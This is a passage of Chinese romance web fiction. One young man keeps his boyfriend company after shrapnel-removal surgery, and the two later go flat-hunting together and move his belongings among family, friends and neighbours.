邹飏一下下转着手机,手术室那个门一打开他就想起立,但每次出来的都不是樊均。 ……不知道自己手术的时候,老妈是不是一个人守在外头,又是什么样的心情。 手术室的门再一次打开,里面有人喊了一声:“樊均的家属。” “在。”吕泽冲邹飏招了招手,迎了过去。 “手术顺利的,最深的那个碎片包裹比较严重,花的时间就长一些,”医生说,“现在都取出来了。” “好的。”吕泽点头应着。 推着床回病房的路上,邹飏一直盯着樊均的脸,脸色不算差,就是人看着还有些迷糊。 “醒了吗?”邹飏弯腰凑近他右耳问了一句。 “嗯。”樊均应了一声,声音很低,有些沙哑。 “我是谁?”邹飏问。 “我男朋友。”樊均说。 邹飏感觉自己眼珠子差点儿瞪出来了,要不是樊均刚出手术室,他都想伸手捂住樊均的嘴。 他赶紧直起身,扫了一眼旁边的吕泽和护士。 吕泽眼神坚定地盯着对面轿厢壁上的宣传画,护士在他视线扫过去的时候迅速转开了头,看着电梯门。 “邹飏。”樊均叫了他一声。 “哎,在,”邹飏又伏身凑到他耳朵边儿,“先不说话,你现在嗓子都是哑的,乖,手术很顺利。” “嗯。”樊均应着。 电梯门一开,吕泽和邹飏同时推着床就走,要不是走廊上人多,邹飏感觉他俩能推着床跑。 好在樊均这个麻醉的程度大概不像邹飏之前那样,一路上也没说出什么更多的虎狼之词。 回到病房安顿好,医生跟他俩交待完注意事项离开之后,邹飏才松了口气,走到床边看着闭着眼睛的樊均。 “他醒着吗?”吕泽问。 “醒着的。”樊均答了一句。 “没什么难受的感觉吧?”吕泽看着他,“脸色还不错。” “就有点儿累,”樊均睁开眼睛,看着吕泽,“哥。” “啊。”吕泽愣了愣。 邹飏也愣了,他还没听过樊均叫吕泽哥。 “你虽然不是我亲哥,”樊均说得有些吃力,但语气听着很平静,“跟亲哥也差不多的。” 邹飏发现了,樊均虽然不至于神智不清口出狂言,但多少有点儿喝高了的状态。 “你……”吕泽有些手足无措,手在空中晃了半天,最后摸了摸床边的吊瓶,“我知道,你好好休息。” “嗯。”樊均应了一声。 “那我……”吕泽看着邹飏,“就,我先回去一趟,陪护一会儿过来……” “嗯。”邹飏点头。 吕泽拍了拍樊均的胳膊,转身飞快地走出了病房。 邹飏过去把病房门关好,回到床边,弯腰看着樊均的脸,又摸了摸他脑门儿:“樊均。” “嗯?”樊均看着他。 “你清醒吗?”邹飏问。 “清醒……吧,”樊均说,“有点儿困,还有点儿晕,嗓子疼……我渴。” “还不能喝水,”邹飏拿了个棉签沾了水在他嘴唇上点着,“护士说两小时以后可以喝。” 樊均咬住了棉签,把上面的水抿掉了。 看着怪可怜的。 邹飏轻轻捏了捏他的下巴:“均儿。” “嗯。”樊均应了一声。 “我是谁?”邹飏问。 “我男朋友。”樊均哑着声音说。 邹飏笑了笑,虽然想让樊均休息一会儿,但又忍不住:“你最喜欢的是谁?” “你。”樊均说。 “乖。”邹飏在他左胸上轻轻摸了摸,“疼吗?” “现在没感觉,”樊均说,“我要……喝水。” 邹飏又沾了点儿水,樊均还是抿住棉签。 邹飏盯着他看了一会儿,起身去洗了洗手,坐回床边拿过杯子,用手指沾了点儿水,在樊均嘴唇上抹了一下。 樊均看着他,嘴角很轻地勾了一下:“小孩儿。” “嗯。”邹飏应了一声。 “想什么呢?”樊均问。 “喂水呢。”邹飏又用手指沾了点儿水。 指尖落在樊均唇上时,他动了动,轻轻咬住了他的手指,吮掉了指尖上的水。 “……靠,”邹飏手抖了一下,低头缓了缓,又转头看了一眼病房门,“你这麻醉什么牌子的有问题吧。” 樊均笑了笑,闭上了眼睛,轻轻舒出一口气。 “休息一会儿,”邹飏说,“我就在这儿陪你。” “嗯。”樊均应了一声。 邹飏趴在床边,盯着他的脸。 樊均的呼吸很平稳,听着有种催眠的感觉,很宁静,很安心。 邹飏快睡着的时候他声音很低地开口:“邹飏。” “嗯?”邹飏应着,握住他的手。 “我去看我妈了,”樊均说,“这是……第一次。” “什么时候?”邹飏轻声问。 “你说要带我去……吃土豆泥那天。”樊均说。 “嗯,”邹飏把手搭到他额头上,一下下轻抚着,“妈妈……还好吗?” “挺好的,吕叔他们一直会去……”樊均闭着眼睛,眼角开始有些湿润。 “先休息,不想那么多,妈妈知道你手术顺利了。”邹飏搓了搓他的手。 “邹飏。”樊均叫了他一声。 “在。”邹飏凑近他右耳。 “我很想我妈,”樊均说,“如果你……不在,我真的会很孤独。” “我一直在这里。”邹飏往前又凑了凑,在他嘴角亲了亲。 80-90 第81章 樊均说完这句之后就睡着了,不知道是困了还是麻醉没过,总之看上去睡得特别沉。 邹飏坐在床边静静地看着他,这会儿他才发现,自己之前睡眠质量太高,好像没怎么看过樊均真正睡着的样子。 以前什么样不知道,这会儿睡得很踏实,像个高中生,连脸上凶神恶煞的疤看上去都变乖了。 邹飏看了一眼时间,犹豫着是旷一节课还是干脆把后面那节也旷了得了。 犹豫了五分钟,最后还是决定老实回学校上课。 这学期除了前两周,课已经没多少了,接下去就要开始各种实践应用,什么教育见习实习研习微格教学之类的…… 不能贪恋美色……啧。 莫恋此,养丹田,人能寡欲寿长年……啧啧。 邹飏拿过自己手机,给樊均发了个消息。 【邹yang】我回学校上课,下课了再过来看你,如果不想喝冠军煮的汤,就发消息告诉我想吃什么,我给你带 【邹yang】对了小白和大黑有人管吗,没人管我下课了先过去何川店里 【邹yang】我现在就坐你床边上,也没什么要跟你说的了但就是还不想走 【邹yang】你睡着了还挺老实的 发完消息,虽然意犹未尽,但还是只能停下。 陪护的人到了,是之前照顾过樊均的一个大叔。 “这次手术挺顺利吧?”大叔问。 “嗯。”邹飏点点头。 “你是不是那会儿跟他一块儿受伤的?”大叔看了看他,“我老乡那会儿就陪护的你吧?我去找他的时候见过你。” “是我。”邹飏笑笑。 “恢复得不错啊,”大叔打量着他,“年轻还是恢复得快。” 邹飏给大叔交待了一下樊均的情况:“他醒了麻烦您告诉他看一下手机,我下课了就过来。” “行,你去上课吧,这儿交给我了。”大叔说。 下午的课勉强赶上了,虽然坐教室里也是心不在焉,但邹飏还是要保持这么一个正常学习的节奏。 从初中开始他和刘文瑞就一直在嘲笑那些谈个恋爱就昏天黑地课都不上了只想腻歪的早恋小情侣们。 现在他以一个成年人的身份开始谈恋爱,绝对不能变成曾经被未成年的自己嘲笑过的状态。 下课的时候樊均也没给他发消息,估计是还没醒,邹飏回宿舍拿了点儿书带着,打了车先去商贸城。 【瑞思拜】人呢? 【邹yang】车上,去商贸城 【瑞思拜】晚上回吗? 【邹yang】不回我住哪 【瑞思拜】医院陪护加床呗 【邹yang】不了吧,睡不着 【瑞思拜】很好,还没有被爱情冲昏头脑 【邹yang】滚 何川和何陆都在店里,还有几个邹飏不认识的,不是客户就是朋友。 “吃饭了没?”何川看到他进店,立马起身走了过来。 “吃了,”邹飏说,“我过来看看狗和猫要不要……” “猫砂我铲过了啊,也喂了,”何陆在茶桌那边喊,“小白也喂了,我和我哥不敢遛,昨天和今天上午是找别人帮遛的。” “我去遛。”邹飏笑笑,“它其实很听话。” “我们就是有点儿怕狗,没事儿,你不用专门过来,”何川说,“宠物店那个老板每天都会过来帮遛。” “嗯。”邹飏去了后院。 小白尾巴都快甩飞了,屁股也跟着一块儿扭着。 “小白,坐。”邹飏拿过牵引绳。 小白端正地坐好了,伸着脑袋示意他赶紧把牵引绳换上。 “樊均手术做完了吗?顺利吗?”何川站在后院门边问。 “嗯,顺利,已经醒了,不过这会儿估计还在睡。”邹飏牵好小白。 “那明天能探视了吧?”何川问,“我打算上午过去。” “能,不过不用吧,他应该过几天就能出院了。”邹飏说。 “那还是用的,就算是我一个普通店员,动手术我也得去探望啊,何况是他。”何川说。 “他不是普通店员吗?”邹飏带着小白往外走。 “他当然不是!”何川一秒进入慷慨激昂状态,“他是我朋友,我教练!还是我保镖,是我今年敢再开个分店的底气。” 邹飏啧了一声。 想起来何川的自留款瓶子,也不知道这人说话是真是假。 不过何川这话前半段他相信不是假话,樊均这人,似乎没什么朋友,但身边的人对他都还挺好的,南舟坪那几个街坊,馆里的学员,商场隔壁店的老板和主理人…… 樊均身上有种说不清的魅力,似乎跟所有人都很疏离,但碰上事儿大家又都会觉得他靠得住。 如果没有樊刚,他现在应该会有另一番天地。 邹飏轻轻叹了口气,手在小白脑袋上抓了抓,虽然那样的樊均,他可能不会有机会认识了。 遛完小白,樊均的电话打了过来。 “能打电话了?”邹飏接起电话,“我不是让你回消息吗?” “打电话和发消息,哪个容易啊?”樊均声音还是有些哑,“你下课了吗?” “小白我都遛完了,”邹飏说着把在脚边转圈的大黑抱了起来,“现在在你屋里呢,你有什么要拿过去的东西吗。” “没有,我过来的时候都带了。”樊均说。 邹飏哼了一声,没说话。 “眼罩帮我带过来吧,就在枕头边儿放着,”樊均低声说,“晚上走廊的灯太亮了睡不着。” 邹飏还是哼了一声,不说话,放下大黑,从枕头边拿起眼罩看了看。 这个眼罩……好像是去游乐园那次玩拳击机的奖品。 质量很一般,也不好看,樊均居然一直用着。 邹飏把眼罩戴上试了试,还漏光! “这破玩意儿换一个吧,”他说,“也挡不住什么啊,我给你买一个好点儿的。” “嗯,”樊均应了一声,“但这个也要留着的。” 邹飏一听他这句话,立马反应过来……可惜“破玩意儿”这话也收不回去了…… 麻醉还传染的吗。 “有什么想吃的吗?”邹飏只好赶紧换了个话题,“我带过去。” “吕叔他们都来了,”樊均低声说,“带了吃的。” “嗯?”邹飏愣了愣,“我妈也去了?” “是。”樊均说。 “靠,”邹飏莫名其妙地开始尴尬,“我……知道了。” 正要挂电话的时候突然又想起樊均刚出手术室时的样子,赶紧又追了一句:“你正常了吗?” “……我不正常吗?”樊均问。 “不是很……正常,也就比我当初正常一点儿吧。”邹飏说。 “是吗?”樊均有些怀疑。 “你清醒了吗?”邹飏低声问,“我是谁?” 樊均沉默了。 “嗯……”邹飏摸了摸大黑,“看来是清……” “我男朋友。”樊均声音很低地说了一句。 邹飏没了声音。 “过来吧。”樊均说。 “哦。”邹飏应着。 樊均在电话里介绍得还是不全面,邹飏推开病床门的时候,有一种过年吃饭时的大团圆感。 除了吕叔吕泽和老妈,窗边沙发上还坐着吕泽的女朋友,陪护大叔也在。 “下课啦?”老妈走了过来。 “嗯,”邹飏感觉有点儿晕,虽然是个单间,但也没多大,这会儿往哪儿看好像都是人,“你们都……来了?” “上回均儿住院的时候……也没好好照顾,”老妈小声说,“肯定要过来的啊。” 邹飏有些不知道该说什么好,只能拍了拍老妈的胳膊,跟吕叔他们打了个招呼,又冲吕泽女朋友笑了笑:“小艺姐。” 女朋友的名字过年的时候吕泽提过,他那会儿根本没心情记,就记着有个艺字,这会儿凑合能打个招呼。 “一会儿要查房,”吕叔说,“等他们查完房走了我们就吃饭。” “嗯。”邹飏点了点头,看着病床上的樊均。 樊均也正看着他。 有种隔了千山万水的感觉,也不好意思直接就这么过去。 “邹飏,”小艺姐站了起来,冲他招了招手,“你刚上完课累吧?过来沙发这儿歇会儿。” 谢谢姐! 邹飏总算在小艺姐的帮助下,走到了病床边。 听到老妈和吕叔开始讨论弹片的事儿了,他才弯腰凑近樊均:“怎么样?” “挺好的,清醒了。”樊均说。 “你的眼罩我没带过来,”邹飏从包里拿出他路上在超市买的眼罩,“我买了个好点儿的,这个是真丝的。” “嗯。”樊均接过眼罩,戴上试了试。 “合适吗?”邹飏问。 “合适。”樊均说。 “怎么,要睡觉?不舒服吗?”老妈马上问了一句。 “没,”樊均赶紧把眼罩拿了下来,“就试一下新眼罩。” “邹飏买的啊?”吕叔问。 “……嗯。”邹飏点了点头。 “哦……那用吧,用着吧。”老妈说。 邹飏实在是有些尴尬,往后退了一步坐到了沙发上。 这种场面之下,就算每一个人都心知肚明他俩的关系,甚至可能想象中的他俩的关系比现实中的更近……但就这么同处一室的时候,还是非常尴尬。 特别是一想到在这些长辈眼里,他跟樊均没准儿已经……当然,真要这么论也差不了多少,可毕竟没有…… 就更是连看樊均一眼都有种当众耍流氓的感觉。 医生来查房的时候都吓了一跳,当初樊均和他严重到要进监护室的伤也没来过这么多人。 “他这个取弹片,还是很顺利的,只有最深的那一片,离锁骨下动脉太近,”医生大概是觉得他们误会了樊均手术的严重程度,耐心地又解释了一遍,“但也顺利取出来了!顺利的,不会对身体有什么影响,不要担心,不要担心……过几天就出院了。” “谢谢医生啊。” “谢谢您。” “您辛苦了啊……” 大家同时开口,医生一边表示不用谢一边快步逃出病房。 吃饭的时候,邹飏还好,夹点儿菜就可以退到旁边吃,但因为饭桌就是架在樊均病床上的那块小桌板,他必须在众人围观下吃。 邹飏靠在窗边,樊均尴尬的眼神看过来的时候,他几次都笑得有些控制不住。 不过吃完饭就有点儿笑不出来了,大家收拾好又聊了一会儿,准备走的时候老妈看了他一眼:“小飏你……” “哦,”邹飏赶紧站了起来,“我……回学校。” “那是一块儿……还是……”老妈问。 “一块儿吧。”邹飏说着看了樊均一眼,“走了啊。” “嗯。”樊均点了点头。 出了医院大门,他拿了手机戳来戳去,假装打车。 吕叔他们的车到了,他的车也没打上。 “我车还有五百米,马上到了,”邹飏扶了一下上车的老妈,“你们先走吧。” “那儿有个空的出租……”老妈指了指后面开过来的一辆车。 “我车已经过来了,现在取消不太好,”邹飏赶紧关上车门,“师傅走吧!” 看着他们的车往前开出去,邹飏又看了一眼手机,又往“车来的方向”张望了一会儿,确定他们的车已经开走了,他才拨了樊均的电话,转身往住院部跑。 “嗯?”樊均接起了电话。 “我回来了,”邹飏边跑边乐,“没想到吧,等我啊。” “邹飏,”樊均愣了愣,“你……” “不用太感动,”邹飏跑到电梯前,“我马上……” “邹飏,”樊均叹了口气,“探视时间过了。” “嗯?”邹飏看着电梯下行的数字,“电梯没停啊。” “废话,电梯当然没停,”樊均说,“楼层的那个门已经关了。” “我不信。”邹飏走进电梯,按了楼层。 电梯打开,他走出去,一眼就看到了已经关闭了的玻璃门,门上还贴着探视时间。 “我操。”他很悲愤地走了过去,“出来的时候它也没关啊。” “那会儿已经许进不许出了。”樊均说。 “我还想给你个惊喜呢。”邹飏叹了口气。 里面护士站值班的护士看到了他,走了过来:“怎么了?不是刚走吗?” “姐姐,我要进去。”邹飏说。 “明天啊,时间过了,不能进了啊,打扰病人休息,”护士说,“他刚手术完啊,身体再怎么好也是要休息的呀。” 邹飏还想说句什么,突然发现这好像是跟他们一块儿把樊均推回病房的那个护士,顿时就不好意思再开口了,转身就走。 “你在走廊等我。”樊均在电话里说了一句。 “什么?”邹飏停下了。 “走廊那边还有个门,就是消防通道的那个门,”樊均声音有些喘,“在门那儿等我。” “你干嘛?”邹飏听着他声音不对,“你下床了?” “本来就已经能下床了,”樊均说,“我睡不着,活动一下。” “我靠,”邹飏一边往消防通道那边走一边压着声音,“别了吧,你……” “过去等我。”樊均说完挂掉了电话。 消防梯这边并不是死角,时不时还会有人经过,一个护士走过的时候,邹飏心虚得都有点儿想转身冲着墙了。 好在没多大一会儿,樊均就从半开着的消防通道里走了出来,穿着病号服,外面披了件长外套。 没扣好的病号服领口那儿还能看到纱布绷带。 “我靠,”邹飏迎上去,在他胳膊上搓了搓,“真有密道啊!能从这去病房?” “嗯,先上一层,转半个走廊从这儿下来,”樊均笑着点点头,“但会经过护士站。” “你出来护士没说你吗?”邹飏问。 “我活动一下呗。”樊均说。 邹飏没说话,抬手在他脸上摸了摸,樊均脸色虽然谈不上差,但多少也还是能看得出疲惫的。 “冷吗?”邹飏问,“行了,你回去吧。” “不怎么冷,”樊均看着他,“招之即来,挥之即去啊。” “我什么时候……你现在难道不是不招即来,挥之不去吗!”邹飏压着声音。 “那我回去了啊。”樊均笑笑。 “嗯,好好休息吧,”邹飏看了看两边,没有人,迅速过去轻轻地抱了抱他,“这儿有风,赶紧回病房,明天下课了过来看你。” 樊均偏头在他耳朵尖上很快地亲了一口,转身进了消防通道。 邹飏没有马上走,在原地又站了一会儿,才回到电梯那儿,都没好意思往玻璃门里看,不知道护士再次看到他会有什么想法。 没所谓了。 虽然见面时间很短,也算是弥补了一晚上能看不能摸的遗憾。 甚至有一种私会的快感。 变态。 “以为你半夜才能回来呢?”刘文瑞看到熄灯前走进宿舍的邹飏,有些意外。 “探视有时间的,”邹飏说,“再说病人也要休息啊。” “明天去吗?”刘文瑞问。 “去。”邹飏看了一眼课表,明天中午之前就可以去了,还能一块儿吃饭。 照顾病人。 也是很有乐趣的。 不过邹飏忘了第二天上午何川要去,下午吕泽和大头鱼又去了,第三天上午是老四带着孙旭磊那几个小孩儿,这帮街坊就不能约好一块儿吗? 接着就是谭如和铁帮,再往后还有蓉蓉,无论邹飏什么时候去,都有人在病房,中间还穿插着时不时过去一趟送饭的吕泽吕叔和老妈…… 到第四天的时候,终于没人去探望了。 考教资的也时间到了。 早上九点到十一点,下午一点到三点,四点到六点。 考完跟宿舍几个混一会儿吃个饭再过去,探视时间就过了。 他大爷的。 “太苦了,”刘文瑞坐在桌子旁边,拿着邹飏的手机一边点菜一边感慨,“一礼拜了,硬是没过上二人世界。” “闭嘴。”邹飏靠着椅子,“你自己手机不能扫个码点菜吗?” “急什么,他也没给你回消息呢,”刘文瑞说,“肥牛肥羊那些我看着点了啊,不够再说。” “行,”李知越看了看邹飏,“他是不是能出院了?” “嗯。”邹飏闷着声音。 “别提这个伤心事,”刘文瑞笑着说,“他还想照顾一下病人呢,一直也没照顾成,天天去,天天有人。” “闭嘴。”邹飏说。 “我怎么感觉我过不了呢?”张传龙愣了一会儿突然说。 “闭嘴。”邹飏说。 “生蚝吃吗?”刘文瑞问。 “吃。”张传龙点头。 “行,差不多了,”刘文瑞把手机放回邹飏面前,“别等了,打个电话过去吧。” 邹飏拿了手机,起身走到了窗户旁边,正要拔樊均的号码,樊均的电话打了进来。 “考完了?”樊均问。 “嗯,”邹飏笑了笑,跟着又有些郁闷,“跟宿舍几个吃饭呢,吃完估计就过不去了。” “不用过来了,”樊均说,“我刚去医生办公室了,明天出院。” “五天就能出院了?”邹飏问。 “本来也没多大事儿,医生也同意了,”樊均说,“我住得脑浆子都疼了。” “那我明天去接你出院?”邹飏问,“几点?” “不。”樊均说。 “你说什么?”邹飏眉毛立马拧了起来,“你再说一遍。” “你几点下课,”樊均说,“我去接你。” “嗯?”邹飏愣了愣。 “我……还没有接过你,”樊均说,“突然很想去学校接你一次。” “好,”邹飏应了一声,感觉自己声音带上了鼻音,“十一点半。” “在上回我们等车的位置等我。”樊均说。 第82章 男朋友来接你下课。 非常奇妙的一个描述。 邹飏前二十年都没想过这句话会跟自己有什么关系,更没想过自己会因为这么一句话一上午两节课都心不在焉的。 实证主义是研究根基…… 几点了,樊均办完出院手续了吗? 放送者,传递者,接受者路径…… 吕叔他们不会要去接樊均吧?哦应该不会,樊均现在不住在南舟坪,没必要绕远接人…… “梵蒂冈?”刘文瑞在他身边小声说,“跟梵蒂冈还有关系了?” “梵第根!”邹飏看了一眼他桌面上的书,“你稍微把书翻开看一眼呢?” “老于有口音。”刘文瑞啧了一声。 “你脑子没褶。”邹飏说。 “是没有,也不知道你谈个恋爱还剩多少,”刘文瑞说,“下节实景模拟靠你了反正。” 邹飏叹了口气。 “哦,还有那个教案设计。”刘文瑞说。 “你退学吧。”邹飏说。 “龙龙都还挺着呢,我才不退。”刘文瑞伸了个懒腰。 【樊】我到了,你下课了直接过来 【邹yang】嗯 “不跟我们吃午饭了呗。”刘文瑞说。 “偷看我手机啊?”邹飏问。 “用偷看吗?”刘文瑞很不屑,“你现在只要手指头往手机上戳就是在跟樊均聊呢,用偷看吗!” “不愧我铁子。”邹飏把手机放回兜里。 “晚饭也不吃了呗,”刘文瑞叹气,“宿舍也肯定不回了,明天早上有课啊,赶得回来吗?” “回得来。”邹飏说。 “行,”刘文瑞用手指在眼睛上刮了两下,“拭目以待。” 上回跟樊均一块儿等车的地方,离学校大门没有多远,出去找东西吃的学生差不多都会经过这里。 邹飏一边往那儿走一边看了看,没看到樊均。 都不用仔细盯着看,一眼扫过去就知道没有樊均。 他忘了问樊均是要怎么接他,腿儿着来呢,还是开何川的车啊? 【邹yang】你到哪了到医院大门口了吗 【樊】你站到灯柱旁边空地那 什么乱七八糟? 邹飏转头看了看,灯柱是有,旁边还停着几辆共享。 他有些莫名其妙,但还是走过去站好了。 站好之后他突然反应过来,这地方好像就是当初他俩被地图车拍到的位置。 正琢磨着樊均想干什么的时候,一辆机甲风的电动车从路口拐了出来。 邹飏嘴角一直带着笑,看着樊均左肩和左胳膊被支具固定着,右手开着他的电动车停在了自己面前。 “嗨,帅哥,”樊均偏过头看着他,“一个人吗?” “你大……嗨,帅哥,”邹飏有些无语,但还是接了话,“我在等我……男朋友。” “是我吗?”樊均问。 “……是。”邹飏说。 樊均笑着下了车。 邹飏过去推开他,把车推上人行道停好了。 “疯了吧,这德性敢开车!”他瞪着樊均。 “一会儿你开车带我。”樊均笑笑,走到了他面前。 “你让我杵这儿是要干什么?”邹飏问。 “拍个照。”樊均拿出了手机,站到了他旁边。 邹飏明白了他的意思,笑了起来:“神经吧。” “地图还没有更新,也不知道要多久才会更新,”樊均说,“就觉得同一个地方再拍一张应该挺有意思的。” “嗯,还可以一年一张呢,”邹飏拿过他的手机,“你还记得当时是什么姿势吗?” “记得,”樊均转头看着他,“你记得吗?” 邹飏没说话,把手搭到他肩,冲着镜头比了个V。 樊均笑着也举起手比了个V。 “笑。”邹飏说。 “上午十一点三十六分,”樊均说,“我们人生里的一个瞬间。” 拍完照片,邹飏低头看着,去年拍的时候,他打着石膏,今年拍的时候,樊均戴着支具……还真是患难情侣啊。 情侣。 邹飏忽然有些恍惚。 情侣。 “两位帅哥,打扰一下,”身后突然有人说话,“能耽误二位几分钟时间吗?我是个街头摄影师……” 摄影你个狗头师。 邹飏回过头,看着站在他俩身后的刘文瑞。 还有旁边笑得正愉快的李知越和张传龙。 “我叫瑞思拜,”刘文瑞坚持把自我介绍说完了,“我觉得两位很帅,能给你们免费拍张照片吗?” “可是我们……还有事呢……”樊均这时一脸为难的表情,很配合地接了一句。 “少刷点儿视频吧!”邹飏看着他。 “就五分钟,”刘文瑞说着把手机递到了他俩面前,“你们可以看看我的作品……” 邹飏只得看了一眼他手机。 这道具就很敷衍了,点开的相册里,前几张都是张传龙上课睡得昏迷不醒的怼脸照。 “就这你还摄……”邹飏感觉戏都接不下去。 “好吧,我们赶时间,你快点儿。”樊均说。 “好的,很快,”刘文瑞走到路边,“你俩刚才是不是要这个角度?” “……是。”邹飏说。 “眼镜儿你胳膊搭刀疤肩膀上,就像刚才那样。”刘文瑞举起手机。 “你再重复一遍这个称呼?”邹飏把胳膊搭回樊均胳膊上。 “那我不是不认识你俩嘛我是个街头摄影师……”刘文瑞说着按下了快门。 他俩举手比V,跟之前一样的动作。 “行了,走吧你俩,”刘文瑞低头看着屏幕,“一会儿照片发给你俩。” “你们干什么去?”邹飏看向李知越,“我不在你们你们应该不会出去吃……不会专门跟踪吧?” “去后门吃粉,”李知越笑着说,“出校门了才看到你俩的。” “吃粉吗樊哥。”张传龙问樊均。 “不吃。”邹飏说。 “改天请你们吃大餐。”樊均说。 “哪天。”张传龙问。 “……明天。”樊均说。 “好。”张传龙点头,“谢谢樊哥。” 几个人走了之后,邹飏跨上樊均的车,冲他偏了偏头:“上车。” “他们去吃什么粉?”樊均坐到了他身后,右手搂住了他的腰。 “后门有家新开的酸菜粉,开业促销买一送一,”邹飏发动车子,“我跟他们已经连吃三天了。” “那今天他们三个人怎么分?”樊均问。 “都我们学校的学生,到地方随便抓一个就行。”邹飏把车开下人行道的时候车颠了一下,樊均的胳膊收了收。 他在樊均手上摸了摸。 “不认识的也行吗?”樊均问。 “都行,”邹飏说,“合作共赢嘛,无所谓认识不认识,反正钱A一下就行。” “挺好。”樊均笑了笑,下巴搁到他肩上。 “什么挺好?”邹飏偏了偏头。 “大学生。”樊均说。 “烦人的也一大把,”邹飏啧了一声,“我们宿舍还行,隔壁天天打架,床都打散架一次。” “打架?”樊均顿了顿,“哦。” “樊均?”邹飏没忍住笑了起来,“你怎么回事儿?” 樊均笑着没说话,搂着他的胳膊收了收。 商贸城这条街一切依旧,阳光,石板街道,青瓦闪着细碎的光。 走进“川与陆”就能闻到一阵广藿香的味儿,何川自己制香最爱用的就是广藿香和沉香,邹飏每次过来都能闻到。 “出院了也不说一声,”何川放下手里的茶,“我开车去接你啊。” “这儿关门吗?”樊均说。 “不行吗?”何川一挥手。 “那你一会儿送我出去一趟。”樊均看着他。 “车借你。”何川说。 “我手现在开不了车。”樊均晃了晃胳膊上的支具。 “邹飏开啊,”何川看了看他胳膊,“这个多久能拆?” “怎么?”樊均问。 “三天?五天?”何川研究着。 “哪天,要去哪儿,你说就行。”樊均说。 “周末去林家渡,”何川说,“都是木头,几个老桩子,沉木什么的,顺便帮老孙看看雷击木。” “我?”樊均问。 “嗯。”何川点头,“何陆那个神婆店这几天要试营业,广场店我得帮忙看着。” “神婆店?”邹飏有点儿好奇。 “就是个什么塔罗啊占星的店,各种工具什么的,神叨叨的,”何川摆摆手,“看不懂。” “挺有意思。”邹飏说。 “哎对,就是你们这年纪的最喜欢,”何川说,“弄好了你去玩吧。” “车钥匙,”樊均伸手,“我一会儿出去,你下午不用车吧?” “你不上班?”何川问。 “我今天还请假的呢。”樊均说。 何川把车钥匙放到他手上:“周末去林家渡啊,还有四天,这玩意儿应该能拆了吧……没拆应该也没事儿,就不到二百公里……” 樊均去后院安抚了一下小白,跟邹飏一块儿上了二楼。 “一会儿要去哪儿?”邹飏小声问。 樊均搂住顺着他腿一路爬到肚子上的大黑,低声说:“你陪我一块儿,看房子。” “什么?”邹飏愣了,声音差点儿没压住,“你要买房?” “想什么呢,”樊均笑了,“租房。” “不住这儿了?”邹飏问。 “本来也是临时住的,”樊均说,“那会儿也……没什么心情找房子。” “现在有心情了。”邹飏捧住他的脸。 “嗯。”樊均点点头。 “有目标吗?”邹飏揉了揉他的脸。 “有两个,”樊均说,“你帮我看看选一个。” “行。”邹飏说完凑过去在他嘴上亲了一口。 然后手往他身上摸了过去,掀开衣服从腰往上摸……摸到了绷带。 只好从腰往后摸,然后想搂住的时候左胳膊挡在了两人中间。 “你大爷啊。”邹飏找了半天角度也没抱住,最后往下,手从裤腰摸下去,在樊均屁股上用力抓了一把。 樊均笑着在他颈侧嘬了一口。 “等,我知道了,”邹飏扳着他的肩把人转了半圈,从身后一把抱了个满怀,结结实实的,整个人都舒坦了,他闭上了眼睛,“这支具多久能拆?” “一周差不多了,主要是怕拉到伤口。”樊均说。 “嗯。”邹飏在他颈后亲了亲,摸在他肚子上的手忍不住往下滑了滑。 “邹飏。”樊均叫了他一声。 “嗯?”邹飏的手继续往下,扯开裤子伸了进去。 “咱们那个最小号的窗棂是不是在二楼仓库?”何川的声音从楼梯传了上来。 邹飏吓了一跳,睁开眼睛正想抽手的时候,樊均已经一屁股把他撅开了。 “我操。”邹飏忍不住笑了起来。 “有几个,”樊均走到门边,“那边箱子上放着。” “那我不上去了,废腿,”何川站在转角,“你一会儿下来帮我带下来,晚点有人要,有几个吗?” “四个,”樊均走过去翻了翻,“你自己不知道吗?” “不知道,这些小玩意儿都没数。”何川说。 “以后这种话别说啊!自己知道自己没数就行了,”邹飏走到门口,“告诉樊均干嘛?丢了找他吗?” “我靠,”何川看着邹飏,笑了起来,“脑子很快嘛。” “你是不是有这个栽脏计划?”邹飏问。 “我疯了,”何川转身下楼,“我栽给我客户我都不敢栽给他。” 樊均把窗棂拿出来,进屋穿了外套:“走吧。” “是得赶紧找房子了。”邹飏小声说。 “嗯?怕他栽脏我吗?”樊均也小声问。 “不至于,”邹飏笑着说,“主要是……不方便,刚那样容易给我吓出毛病来,我年纪小,经不住这种惊吓。” “……哦。”樊均看了他一眼。 备选的两套房子都在商贸城附近,一个南口一个北口,都是跟之前南舟坪那个小屋差不多的一居室。 “本来还有其他也不错的,但就这俩房东让养宠物。”樊均说。 “怎么不看看两居室?”邹飏问。 “两个卧室住不了啊。”樊均说。 “不留一间给我吗?”邹飏转头看了他一眼。 “看路,右转,”樊均指了指前面,然后也看了他一眼,“你到我这儿住……睡另一间?” “万一吵架了呢?”邹飏说。 “睡客厅啊,”樊均说,“你又不是没睡过。” “靠。”邹飏笑了起来。 两套房子条件都差不多,距离也基本一样,都是老房子,谈不上什么装修不装修的。 不过第一套是两栋连体楼,中间有个大平台,邹飏看到的时候就感觉胃里一阵痉挛。 他更喜欢第二套,客厅窗口看出去是一片城中村的矮楼,虽然有点儿乱,但视野相对更开阔,也更有生活气息。 “那就这套吧,”樊均说,“就定下了,明天搬。” “明天我一早有课。”邹飏说。 “我自己就行,东西都在旧馆,让老四他们帮我搬一……”樊均说到一半看了邹飏一眼。 邹飏没出声,靠在窗边看着他。 “这个也得你帮忙吗?”樊均问。 “本来可以不用,”邹飏啧了一声,“但是……怎么说呢,这算不算你新生活的开始,我都不参与的吗。” “……那等你下课。”樊均说。 为了积极参与樊均的新生活,邹飏下了第一节课起身就往外走。 “哎?”刘文瑞拽住他的胳膊,“这就走了?” “又没课了。”邹飏看着他。 “不是,”刘文瑞一脸悲痛,“明天上课要讨论小组教案啊!你不管了吗?” “我写好,你上去讲。”邹飏说。 “你写吗?你有空写吗!”刘文瑞抓着他不放。 “有空,”邹飏说,“我什么时候坑过你?” “以前是没坑过,以前你也没谈恋爱啊,”刘文瑞说,“我这不是没底儿吗?” “晚上给你。”邹飏说。 “你说的,”刘文瑞指着他,“你说的啊。” “我说的,”邹飏拍拍他的手,“放心。” 南舟坪这种地方有一个好处,就是找人帮忙很容易。 樊均原来卧室里的那些健身器材,书架桌子什么的,拢一块儿也没多少东西,除了老四,来了七八个街坊帮忙搬。 邹飏和樊均基本就是在旁边观摩。 老妈站在厨房里,从窗户那儿看着他们。 邹飏有点儿尴尬,但杵了一会儿之后还是进了厨房。 “妈。”他走到老妈身边。 “你俩是不是……要搬一块儿住啊?”老妈轻声问。 